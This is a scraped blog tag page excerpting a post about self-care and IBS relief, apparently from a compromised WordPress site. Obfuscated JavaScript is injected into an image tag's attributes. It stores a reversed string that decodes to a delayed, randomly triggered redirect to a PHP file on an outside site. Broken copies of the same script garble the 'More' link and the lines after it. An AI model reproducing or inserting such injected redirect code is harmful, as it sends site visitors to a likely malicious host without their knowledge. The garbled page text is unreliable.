Tagged: IBS relief

Self-Care and IBS Relief

Self-Care <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS Relief" class="alignleft wp-post-image" />

We hear often in the self-help world how important self-care is. However, we don’t do it enough and it’s because we don’t know how. I think we have a perception that there’s a right way to do self-care.

 

I laughed inside when my client thanked me for not telling her to do yoga and pilates. That’s the funny thing about self-care; you don’t have to do anything. I notice a lot of people putting self-care into their routine as a forced thing. Then they feel tired out from it and forget the fun stuff.

 

The interesting thing is that self-care is [...]

$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == “string”) return $vTB$I_919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return/”>More

$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return/" >
Pin It